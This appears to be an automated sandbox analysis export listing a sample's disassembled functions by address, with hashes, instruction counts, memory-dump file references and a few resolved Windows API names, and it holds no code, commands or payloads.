                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: 0
                                                                                    • API String ID: 0-4108050209
                                                                                    • Opcode ID: 2c66de2964dbf7c0103d26a637bb9c3df90e686996b70b361c2c57e4183adb73
                                                                                    • Instruction ID: badf2f2178ce0ba02ef41cec0fac8f7fd7c0b92fe84b3eb250731577182f0cb4
                                                                                    • Opcode Fuzzy Hash: 2c66de2964dbf7c0103d26a637bb9c3df90e686996b70b361c2c57e4183adb73
                                                                                    • Instruction Fuzzy Hash: B5515A75600A895BDF38956888647FF27D69BC2308F080A0EDC86DBE81CF15E745C7A6
                                                                                    Function 02C43F66 Relevance: 1.4, Strings: 1, Instructions: 134COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID: 0-3916222277
                                                                                    • Opcode ID: 6bf946e24e0cf3f7143bf6f7c2898541fb51292b7eeb3b4358a3a41aa26ebfb9
                                                                                    • Instruction ID: 4717123f22d0f3964ed1b261d77d09f4f125aaae7b5c1452f75872ba37ca3bc1
                                                                                    • Opcode Fuzzy Hash: 6bf946e24e0cf3f7143bf6f7c2898541fb51292b7eeb3b4358a3a41aa26ebfb9
                                                                                    • Instruction Fuzzy Hash: 9F518571D002098FDB28CF6AD98579EBBF4FB44314F24C56AD415EB250E7B5AA10CFA1
                                                                                    Function 02C36D87 Relevance: 1.4, Strings: 1, Instructions: 109COMMON
                                                                                    Download Yara Rule
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID: @
                                                                                    • API String ID: 0-2766056989
                                                                                    • Opcode ID: d5e9d99cca5bd5e192b92381c11644beefd2514f072827777375d50a0dc20ebe
                                                                                    • Instruction ID: 50e6eb987851b4649daad239cb183550aa2806dc4e1f0b637f13aedb8a6cc87e
                                                                                    • Opcode Fuzzy Hash: d5e9d99cca5bd5e192b92381c11644beefd2514f072827777375d50a0dc20ebe
                                                                                    • Instruction Fuzzy Hash: 0C413B719183849BC340CF29C58020AF7E5FFC8318F645A1EF889A3350D375EA86CB86
                                                                                    Function 02C5C135 Relevance: .6, Instructions: 637COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 7a167c47b947a2d167f9736c7abfbb916f4b164e61a8b0a90e48ac4e87c27f6f
                                                                                    • Instruction ID: 604d06739fce8303ca27ba43e5cb11af2c1faa481c16935c9a51c7bfcfc5f9cb
                                                                                    • Opcode Fuzzy Hash: 7a167c47b947a2d167f9736c7abfbb916f4b164e61a8b0a90e48ac4e87c27f6f
                                                                                    • Instruction Fuzzy Hash: 5A322522D29F114DD7239634C872335A249AFB72D9F15D737FC1AB5AA6EB29C2C38104
                                                                                    Function 02C23E6F Relevance: .5, Instructions: 485COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 576d824627d9e61b5fc60a204359cf4a39611e239989ff96d201345e03ad8638
                                                                                    • Instruction ID: ec2969d459675313342fd60d121c06ce8d95452ea7797ea71adf10ab60741200
                                                                                    • Opcode Fuzzy Hash: 576d824627d9e61b5fc60a204359cf4a39611e239989ff96d201345e03ad8638
                                                                                    • Instruction Fuzzy Hash: 89E1FA72B0029067CB18B7788C57D7E36AB9FD7708F80099DF846971D0ED758A09BE92
                                                                                    Function 02C3614F Relevance: .4, Instructions: 383COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 9ad16798d89cc847e280ebfd23893692ba583267ff92785f21bf8c1a35f6125b
                                                                                    • Instruction ID: 7798daa88f9414d900a18606b39ab23dc801d8d20f282f04589c97200a37c184
                                                                                    • Opcode Fuzzy Hash: 9ad16798d89cc847e280ebfd23893692ba583267ff92785f21bf8c1a35f6125b
                                                                                    • Instruction Fuzzy Hash: 66F17D356146558FC304DF1DE89182BB3E1FB89306F85092EE182C7391EB75EA25CBA6
                                                                                    Function 02C2CEA3 Relevance: .3, Instructions: 277COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 44a6e234f78c41bf9ab829f3e543dec93c59b1fba027f8c12c5dbce5ba7d0ea3
                                                                                    • Instruction ID: 7823a693dcf2d3394c1d96261101b017aa6411cde1bbfab922c4cdda991cdd3e
                                                                                    • Opcode Fuzzy Hash: 44a6e234f78c41bf9ab829f3e543dec93c59b1fba027f8c12c5dbce5ba7d0ea3
                                                                                    • Instruction Fuzzy Hash: 2CB1917911429A8ADB15EF68C4913F63BA1EF6A300F0850B9EC9CCF757E7358506EB24
                                                                                    Function 02C61A97 Relevance: .3, Instructions: 269COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 5efd9235541867ec3ed9cd4b3b8e6b094e4fd6c2cbb45d95a394c96c6b6622d2
                                                                                    • Instruction ID: 2a58bcbf5b1c5c77368b1df3b6b38baddac78009100ea32dc68600c1869b4adc
                                                                                    • Opcode Fuzzy Hash: 5efd9235541867ec3ed9cd4b3b8e6b094e4fd6c2cbb45d95a394c96c6b6622d2
                                                                                    • Instruction Fuzzy Hash: 08B17C712106099FD715CF28C4CAB647BE1FF8536AF298658E899CF3A1C375DA81CB40
                                                                                    Function 02C4F3B6 Relevance: .2, Instructions: 237COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: a25cfcba4cb24fdf0fe01b1cfb0217293a2d97f1f2c5caf2e195f2ab18ef9283
                                                                                    • Instruction ID: cff805c5ea78c6f9847a8ac2f46cdb2face343a76b622a42ec8f7967d90d126a
                                                                                    • Opcode Fuzzy Hash: a25cfcba4cb24fdf0fe01b1cfb0217293a2d97f1f2c5caf2e195f2ab18ef9283
                                                                                    • Instruction Fuzzy Hash: B561887160060966DA389E6C5994BBF23A5BBC5318F80292DE943CFE80DF11DB42DB66
                                                                                    Function 02C36EF0 Relevance: .2, Instructions: 187COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 2e527c4e480a832a5ffd7bd4446f4a4d5879b4a9202d666d113e148d51cfd504
                                                                                    • Instruction ID: e540a7bb3dcacc121f160b5a1920eaba80d0367fce41ca5d4ed8a9761560ca91
                                                                                    • Opcode Fuzzy Hash: 2e527c4e480a832a5ffd7bd4446f4a4d5879b4a9202d666d113e148d51cfd504
                                                                                    • Instruction Fuzzy Hash: E8615B729083499BC305DB34C581A5FB7E9AFDC718F500E2EF49996150EB71EA088F82
                                                                                    Function 02BB20C4 Relevance: .1, Instructions: 94COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                    • Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
                                                                                    • Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                    • Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290
                                                                                    Function 02C47A9C Relevance: .1, Instructions: 76COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                    • Instruction ID: 8d853322b7e4c3a06b09ac86514b73ad608374b715dcccd11d203adb57d0b67f
                                                                                    • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                    • Instruction Fuzzy Hash: C31127772C418247D604CA7EDCB43B7E789EBC522872D627BD0418BB58DF62E34C9600
                                                                                    Function 02C90939 Relevance: .0, Instructions: 33COMMON
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 2d5486f6e5b9d9d61447aadb6395f99df315b0362e95f2a9dd6700af68e1202b
                                                                                    • Instruction ID: 9f72844f0310968568307393119caf3e52133f3e357bc8fef70da9ae3065b25c
                                                                                    • Opcode Fuzzy Hash: 2d5486f6e5b9d9d61447aadb6395f99df315b0362e95f2a9dd6700af68e1202b
                                                                                    • Instruction Fuzzy Hash: FBF08C333112119FFF61CE5AE888F66B3A8EFA0A76F6B04A9D14497162D320ED44CA50
                                                                                    Function 02C51D41 Relevance: .0, Instructions: 21COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: b675ef751003dd94a4a5a225bc312582345a8ac16cea9a7d3627edb1bededd63
                                                                                    • Instruction ID: d0f1016ecf24ba87e041a6d7514b8f92a91cdf1577fa71d24f240cc9286087ea
                                                                                    • Opcode Fuzzy Hash: b675ef751003dd94a4a5a225bc312582345a8ac16cea9a7d3627edb1bededd63
                                                                                    • Instruction Fuzzy Hash: 1EE0B631000618ABCF227F64DD4CA587B6AEB40796F490464FD098B632CB79D992DA48
                                                                                    Function 02BBD21C Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02BBD225
                                                                                      • Part of subcall function 02BBD1F0: GetProcAddress.KERNEL32(00000000), ref: 02BBD209
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressHandleModuleProc
                                                                                    • String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
                                                                                    • API String ID: 1646373207-1918263038
                                                                                    • Opcode ID: bc25e570e8b5d1d9a0271e808cbc81f4ea96708e16f96eec036d72b84f72d8b3
                                                                                    • Instruction ID: 24c413eb3e40b24171c5a6058d99e94b8afc7befb98adba91b270a2965759d8c
                                                                                    • Opcode Fuzzy Hash: bc25e570e8b5d1d9a0271e808cbc81f4ea96708e16f96eec036d72b84f72d8b3
                                                                                    • Instruction Fuzzy Hash: 70414A67A842065F120EAB6D74016F73BDEEF8931036845EAB408CB641DDFCAC918E2D
                                                                                    Function 02C5ED6C Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 376COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _free
                                                                                    • String ID: xF$xF
                                                                                    • API String ID: 269201875-3476023522
                                                                                    • Opcode ID: 2d61484940682ee786660686f26dc7be5fdbe1d580820abb244bed0f912383bb
                                                                                    • Instruction ID: 38155bbe252cc2ef10ef9a3aeb8f79fc0299fbe920ca2a267bb30b32c82ac150
                                                                                    • Opcode Fuzzy Hash: 2d61484940682ee786660686f26dc7be5fdbe1d580820abb244bed0f912383bb
                                                                                    • Instruction Fuzzy Hash: 5AC18672E40214AFDB20DBA8CC85FEEB7F99F49740F140155FE05EB281E670DA819BA4
                                                                                    Function 02C5FA32 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • _free.LIBCMT ref: 02C5FA6B
                                                                                    • ___free_lconv_mon.LIBCMT ref: 02C5FA76
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5EC8B
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5EC9D
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ECAF
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ECC1
                                                                                      • Part of subcall function 02C5EC6E: _free.LIBCMT ref: 02C5ECD3
